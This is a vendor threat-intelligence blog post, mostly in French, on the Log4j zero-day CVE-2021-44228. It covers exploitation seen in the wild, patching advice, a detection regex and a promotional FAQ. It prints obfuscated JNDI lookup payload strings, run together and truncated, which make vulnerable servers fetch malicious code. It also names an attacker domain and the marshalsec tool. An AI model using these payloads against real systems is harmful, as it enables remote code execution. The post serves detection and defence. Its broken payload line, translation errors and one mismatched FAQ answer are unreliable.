CVE-2021-44228 : Impact de la vulnérabilité Zero-Day de Log4j

10 décembre 2021
Luke Richards
Threat Intelligence Lead
CVE-2021-44228 : Impact de la vulnérabilité Zero-Day de Log4j

Mise à jour : 13 décembre 2021  

cybercriminels Exploitation de la vulnérabilité Zero-Day de Log4j

Alors que nous continuons à surveiller la situation, Vectra a observé de multiples tentatives d'exploitation des systèmes de la part de cybercriminels . Au départ, il s'agissait de rappels de base, la première tentative d'exploitation provenant de nœuds TOR - ceux-ci pointaient principalement vers "bingsearchlib[.]com", l'exploitation étant transmise à l'agent utilisateur ou à l'URI de la requête.

Depuis la première vague de tentatives d'exploitation, les tactiques utilisées par cybercriminels pour exploiter cette vulnérabilité ont beaucoup évolué. En particulier, les commandes utilisées ont changé et cybercriminels a commencé à obscurcir ses requêtes. À l'origine, ils remplissaient l'agent utilisateur ou l'URI d'une chaîne base64 qui, lorsqu'elle était décodée par le système vulnérable, entraînait le téléchargement par l'hôte d'un dropper malveillant provenant de l'infrastructure de l'attaquant. Ensuite, les attaquants ont commencé à obscurcir la chaîne JDNI elle-même, en tirant parti d'autres fonctions de traduction du processus JDNI. En voici quelques exemples :

${jndi:${lower:l}${lower:d}a${lower:p}://world80${${env:ENV_NAME:-j}n${env:ENV_NAME:-d}i${env:ENV_NAME:-:}${env:ENV_NAME:-l}d${env:ENV_NAME:-a}p${env:ENV_NAME:-:}//${jndi:dns://

Tous atteignent le même objectif : télécharger un fichier de classe malveillant et le déposer sur le système cible, ou faire fuir les informations d'identification des systèmes basés sur le site cloud.

Restez à l'écoute du blogVectra pour en savoir plus.

--

Poste d'origine : 10 décembre 2021

Découverte initiale de la vulnérabilité Zero-Day de Log4j

On 10th December 2021, a new 0day was discovered in the log4j application. This 0day, now tracked as CVE-2021-44228, takes advantage of the parsing of LDAP logs, and the parsing of the LDAP url in the jndi engine. This engine will automatically look up variables in logs to improve the output of the logs. For example “Logging from ${java:vm}” would output as "Logging from Oracle JVM”. This however, leads to a problem when parsing directory services using this method. When parsing these variables, if there is a dot “.” in the string, the log4j server will look up a remote address and parse the response with the jndi engine.

En utilisant un outil tel que https://github.com/mbechler/marshalsec, un attaquant peut créer une charge utile malveillante et diriger le serveur log4j vers cette charge utile java, qui sera ensuite exécutée dans le moteur conduisant au RCE. Pour plus de détails, consultez les blogs et les dépôts GitHub dans les références.

Log4j est une solution de journalisation très répandue pour les applications Java, les applications web et les modules. Des applications allant de Steam à Minecraft se sont révélées vulnérables, mais de nombreux nœuds ToR ont également été attaqués.

L'un des plus gros problèmes auxquels les utilisateurs sont confrontés avec cette vulnérabilité est que la surface d'attaque est incroyablement grande. Comme le montrent les images de ce dépôt GitHub.

Il convient également de noter que LDAP n'est pas le seul à être vulnérable, mais aussi d'autres analyseurs de services d'annuaire, notamment Remote Method Invocation (RMI) et Common Object Request Broker Architecture (CORBA).

Les développeurs recommandent de mettre à jour les systèmes log4j vers log4j 2.15.0, disponible sur Maven Central.

Si vous utilisez un système compatible avec log4j, vous devez vous adresser au développeur pour obtenir des mises à jour de ses systèmes et supposer que les hôtes qui exécutent log4j sont compromis.

Détection des exploits Zero-Day de Log4j (CVE-2021-44228)

L'un des plus gros problèmes de cette vulnérabilité est que le vecteur initial est difficile à détecter. Il se présente sous la forme d'une chaîne dans un journal, vous pourriez examiner l'entrée brute dans le serveur log4j, et alerter sur toutes les connexions externes LDAP. Vous pouvez également rechercher les connexions externes entre les serveurs de journalisation et les fichiers de classe Java.  

If you have access to metadata, using tools such as the Vectra AI platform for example, one telltale sign of attempts to compromise servers would be to search for the following patterns in text fields such as User-Agent: /\$\{jndi:.*/

Cette méthode permet de détecter les tentatives de compromission des serveurs, mais ne confirme pas s'il y a eu compromission. L'hypothèse est qu'au moins un serveur d'un domaine sera compromis, et Vectra peut confirmer que des tentatives d'analyse ont été observées dans plusieurs sources.

Pour trouver les hôtes susceptibles d'avoir été compromis, il est possible d'examiner les hôtes qui téléchargent des fichiers JAVA, Jar ou Class. Cependant, si un hôte a été compromis, la meilleure façon de le détecter est de l'observer et de rechercher un comportement suspect, d'autant plus que la surface d'attaque est énorme et que le vecteur initial est difficile à détecter étant donné l'utilisation omniprésente de log4j.

La plateforme Vectra AI met en évidence les hôtes ayant un comportement suspect en observant le trafic réseau et en utilisant l'apprentissage automatique et l'IA pour classer le trafic. Nous nous attendons à ce que les hôtes qui ont été compromis présentent des détections de type Command and Control , des détections de mouvement latéral ou des comptes d'application ou de service locaux utilisés dans l'ensemble du domaine. Si un appareil périphérique est compromis, il peut également y avoir plus d'activités de reconnaissance à partir de ces appareils à l'intérieur de la zone démilitarisée.

Il convient également de noter que les systèmes qui exécutent log4j peuvent se trouver au cœur du réseau. Par exemple, ils font partie d'un cluster Elastic, et si c'est le cas, ces hôtes devront également être identifiés.

À cette fin, il serait recommandé de trouver les hôtes d'un domaine qui exécutent potentiellement log4j (Apache Tomcat, Apache Struts, etc.) et de les regrouper ou de les étiqueter, afin qu'il soit plus facile de les surveiller et d'en assurer le suivi, compte tenu du profil de détection et des termes de recherche susmentionnés.

Foire aux questions

Qu'est-ce que la vulnérabilité zero-day de Log4j ?

La vulnérabilité zero-day de Log4j (CVE-2021-44228) permet aux attaquants d'exécuter du code arbitraire à travers les messages de log.

Quels sont les impacts de la vulnérabilité zero-day de Log4j ?

L'impact comprend des violations potentielles de données, des accès non autorisés et l'exploitation de systèmes vulnérables.

Quelles sont les actions recommandées pour les organisations utilisant Log4j ?

Les organisations doivent mettre à jour Log4j 2.15.0, surveiller les activités suspectes et suivre les meilleures pratiques en matière de sécurité.

Comment cybercriminels exploite-t-il la vulnérabilité de Log4j ?

cybercriminels utilisent des chaînes JDNI obfusquées et l'encodage base64 pour exploiter la vulnérabilité de Log4j.

Quels sont les secteurs les plus touchés par la vulnérabilité de Log4j ?

Les secteurs utilisant des applications basées sur Java, tels que les jeux, les services cloud et les logiciels d'entreprise, sont les plus touchés.

Comment les organisations peuvent-elles détecter les exploits de Log4j ?

Les organisations peuvent utiliser des outils de détection des menaces pilotés par l'IA pour identifier les comportements inhabituels indiquant des exploits Log4j.

Comment l'IA peut-elle aider à se défendre contre les exploits de Log4j ?

L'IA permet de détecter les comportements anormaux, d'identifier les tunnels cachés et d'automatiser les processus de détection des menaces.

Qu'est-ce que CVE-2021-44228 ?

CVE-2021-44228 est une vulnérabilité critique dans Log4j qui permet l'exécution de code à distance par le biais de messages de journalisation élaborés.

Comment cybercriminels exploite-t-il la vulnérabilité de Log4j ?

Des outils comme Vectra Cognito Detect utilisent l'IA et l'apprentissage automatique pour identifier les tentatives d'exploitation de Log4j et y répondre.

Comment Vectra AI peut-il aider à la gestion des vulnérabilités de Log4j ?

Vectra AI fournit une détection continue des menaces, une analyse en temps réel et une réponse automatisée pour gérer les vulnérabilités de Log4j.